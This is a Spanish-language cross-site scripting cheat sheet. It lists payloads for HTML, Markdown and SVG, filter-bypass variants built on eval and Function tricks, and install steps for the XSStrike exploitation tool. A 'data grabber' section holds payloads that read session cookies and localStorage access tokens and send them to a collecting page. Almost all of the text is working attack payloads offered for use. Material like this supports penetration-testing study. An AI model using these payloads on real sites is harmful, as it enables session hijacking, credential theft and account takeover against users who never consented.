XSS en Aplicaciones HTML
Alerta Básica
<script>alert('XSS')</script>
Cookie PHPSESSID
<script>alert(document.cookie); </script>
Bypass de alerta
"><script>alert(String.fromCharCode(88,83,83))</script>
Insertando una imagen fake
<img src=x onerror=alert('XSS');>
<img src=x onerror=alert('XSS')//
<img src=x onerror=alert(String.fromCharCode(88,83,83));>
<img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));>
<img src=x:alert(alt) onerror=eval(src) alt=xss>
"><img src=x onerror=alert("XSS");>
"><img src=x onerror=alert(String.fromCharCode(88,83,83));>
XSS en Markdown
[a](javascript:prompt(document.cookie))
[a](j a v a s c r i p t:prompt(document.cookie))
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](javascript:window.onerror=alert;throw%201)
XSS en SVG
<svg xmlns='http://www.w3.org/2000/svg' onload='alert(document.domain)'/>
<svg><desc><![CDATA[</desc><script>alert(1)</script>]]></svg>
<svg><foreignObject><![CDATA[</foreignObject><script>alert(2)</script>]]></svg>
<svg><title><![CDATA[</title><script>alert(3)</script>]]></svg>
Bypass de blacklist con evaluación de código
eval('ale'+'rt(0)');
Function('ale'+'rt(1)')();
new Function`alert`6``;
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Set.constructor('ale'+'rt(13)')();
Set.constructor`alert(14)```;
XSStrike
Herramienta automática de explotación de Cross-Site Scripting:
git clone https://github.com/s0md3v/XSStrike.git
cd home/kali/xsstrike
pip3 install -r requirements.txt
python3 xsstrike.py -h
Data grabber for XSS
Obtiene la cookie de administrador o el token de acceso confidencial, el siguiente payload lo enviará a una página controlada.
<script>document.location='http://localhost/XSS/grabber.php?c='+document.cookie</script>
<script>document.location='http://localhost/XSS/grabber.php?c='+localStorage.getItem('access_token')</script>
<script>new Image().src='http://localhost/cookie.php?c='+document.cookie;</script>
<script>new Image().src='http://localhost/cookie.php?c='+localStorage.getItem('access_token');</script>
Hack Tools Plugin
En este plugin disponible para todos los navegadores, tenemos todos los comandos recogidos en esta página para hacer Cross Site Scripting.